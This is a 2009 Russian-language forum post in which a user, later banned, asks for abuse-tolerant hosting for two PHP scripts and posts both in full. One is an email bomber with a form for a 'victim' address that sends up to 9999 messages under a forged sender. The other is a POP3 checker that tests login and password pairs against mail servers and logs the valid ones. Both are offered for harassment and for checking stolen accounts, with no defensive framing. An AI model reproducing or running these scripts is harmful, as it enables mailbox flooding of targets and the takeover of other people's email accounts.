подскажите хост.

Discussion in 'Болталка' started by Соболь, 26 Sep 2009.

  1. Соболь

    Соболь Banned

    Joined:
    24 Sep 2009
    Messages:
    0
    Likes Received:
    33
    Reputations:
    0
    раньше использовал скарженый хост.... щас начал искать и ничего не нашол.

    нужен хостинг, который поддерживает вот эти скрипты.

    попробовал флудер мыл на freetzi.com. .. отсылает 100 сообщений и банится.


    Code:
    <?php   
    
    class Bomb {   
    
    function cli() {   
      if(!defined("STDIN")) {   
          define("STDIN", fopen('php://stdin','r'));   
      }   
    
      print "Please enter the Target email Address : ";   
      $target = fread(STDIN, 80);   
      print "From = $target\n";   
    
      print "Please enter the from email Address :";   
      $from = fread(STDIN, 80);   
      print "From : $from\n";   
    
    
      print "Please enter your message to the target(800 chr) :";   
      $message = fread(STDIN, 800);   
      print "Your message is :\n";   
      print "$message";   
    
      print "Please enter a subject :";   
      $subject = fread(STDIN, 80);   
      print "Subject : $subject\n";   
    
      print "Please enter the Number of times to bomb(1-9999) :";   
      $times = fread(STDIN, 4);   
      print "Times : $times\n";   
    
          $this->send($target,$subject,$message,$from,$times);   
    }   
    
    function html() {   
      error_reporting(0);   
          $target = $_POST['target'];   
          $subject = $_POST['subject'];   
          $message = $_POST['message'];   
          $from = $_POST['from'];   
          $times = $_POST['times'];   
    print "   
    <html>   
    <head><title>Спамилка  мыл</title>   
    <style>   
    body {   
    background-color: #350000;   
    color:#99ff32;   
    font-size: 15px;   
    }   
    
    input {   
    background-color: #222222;   
    border: 1px solid #FFFFFF;   
    color:#76defc;   
    }   
    a {   
    color: #FFFFFF;   
    }   
    </style>   
    <body>   
    <center>   
    <form action='' method='POST'>   
    E-mail Жертвы :<br /> <INPUT NAME='target' TYPE='text'><BR>   
    Текст сообщения : <br /><INPUT NAME='message' TYPE='text'><BR>   
    Тема : <br /><INPUT NAME='subject' TYPE='text'><BR>   
    От кого : <br /><INPUT NAME='from' TYPE='text'><BR>   
    Кол-во писем (1-9999) : <br /><INPUT NAME='times' TYPE='text'><BR>   
    <input type='submit' value='Спамить нах!'>   
    </center>   
    </body>   
    </html>   
    ";   
    
      $this->send($target,$subject,$message,$from,$times);   
    }   
    
    
    
    function send($target,$subject,$message,$from,$times) {   
      $headers = "From: " . $from;    
      $i = 1;    
      while($i <= $times) {    
          mail($target, $subject, $message, $headers);    
          print "$i sent ";    
          $i++;    
          }   
      }   
    }   
    
    
    $bomb = new Bomb;   
    $bomb->html(); // For HTML version   
    #$bomb->cli(); // For CLI version   
    
    
    ?>
    Code:
    /*
    Emails Account Cheeker (через POP3)
    Поддержимаемые домены в domains.txt
    Coded by preda1or
    */
    
    global $error,$err_more,$server_reply,$result;
    set_time_limit(0);
    error_reporting(0);
    
    $login="[email protected]";
    $password="traktor";
    
    if(mail_check($login,$password))
    {
    	global $result;
    	echo $result;//если удачно
    	mail_check_log($result);	
    } else {
    	echo $result;//если неудачно
    	mail_check_log($result);	
    }
    
    
    
    function mail_check($login='',$password='')
    {
    	global $error,$err_more,$server_reply,$result;
    	$pattern = "^([_a-z0-9-]+)(\.[_a-z0-9-]+)*@([a-z0-9-]+)(\.[a-z0-9-]+)*(\.[a-z]{2,4})$";
    	if(ereg($pattern,$login))
    	{
    		$servername=pop3_get_servername($login);
    		if(pop3_server($servername))
    		{
    			$login2=explode("@",$login);
    			$login2=$login2[0];
    			if(pop3_login($login,$password,$servername) or pop3_login($login2,$password,$servername))
    			{
    				$result="OK";
    				return true;
    			} else {
    				$error="'pop3_login()' FAILED";
    				$result="FAIL: $error";
    				$server_reply=str_replace("\r\n","",$server_reply);
    				if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
    				return false;
    			}
    		} else {
    			$error="'pop3_server()' FAILED";
    			$result="FAIL: $error";
    			$server_reply=str_replace("\r\n","",$server_reply);
    			if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
    			return false;
    		}
    
    	} else {
    		$error="'ereg()' FAILED";
    		$result="FAIL: $error";
    		$server_reply=str_replace("\r\n","",$server_reply);
    		if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
    		return false;	
    	}
    
    }
    
    function mail_check_log($result='')
    {
    	global $login,$password;
    	if(strlen($result)>0)
    	{
    		$result=str_replace("\n","",$result);
    		$result=str_replace("\r","",$result);
    		$f=fopen("mail.log","a");
    		fwrite($f,"[".date("m.d.y - H:i:s")."] [$login:$password] [$result]\n");
    		fclose($f);
    	}
    	return null;
    }
    
    function pop3_get_servername($email='')
    {
    	$servers=file("pop_servers.dat");
    	$i=0;
    	while($i<sizeof($servers))
    	{
    		$current=explode(":",$servers[$i],2);
    		$email_expl=explode("@",$email,2);
    		if($current[0]=="@".$email_expl[1])
    		{
    			$current[1]=str_replace("\r","",$current[1]);
    			$current[1]=str_replace("\n","",$current[1]);
    			return $current[1];
    			$i=sizeof($servers);
    		}
    		$i++;
    	}
    }
    
    function pop3_server($host='',$port='110',$timeout='60')
    {
    	global $err_more,$server_reply;
    	$s=fsockopen($host, $port, $errno, $errstr, $timeout);
    	$err_more="\$errno=$errno, \$errstr=$errstr";
    	if($s)
    	{
    		$line=fread($s, 256);
    		if(eregi("\+OK",$line))
    		{
    			fputs($s,"QUIT\r\n");
    			return true;
    		} else {
    			return false;
    			$server_reply=$line;
    		}
    		fclose($s);
    	} else {
    		return false;
    	}
    }
    
    function pop3_login($login='',$password='',$host='',$port='110',$timeout='60')
    {
    	global $err_more,$server_reply;
    	$s=fsockopen($host, $port, $errno, $errstr, $timeout);
    	$err_more="\$errno=$errno, \$errstr=$errstr";
    	if($s)
    	{
    		$line=fread($s, 256);
    		if(eregi("\+OK",$line))
    		{
    			fputs($s,"USER $login\r\n");
    			$line=fread($s, 256);
    			if(eregi("\+OK",$line))
    			{
    				fputs($s,"PASS $password\r\n");
    				$line=fread($s, 256);
    				if(eregi("\+OK",$line) and !eregi("\-ERR",$line))
    				{
    					return true;
    					fputs($s,"QUIT\r\n");
    				} else {
    					$server_reply=$line;
    					return false;
    				}
    			} else {
    				$server_reply=$line;
    				return false;
    			}
    		} else {
    			$server_reply=$line;
    			return false;
    		}
    		fclose($s);
    	} else {
    		 return false;
    	}
    }
    
    ?>
     
Loading...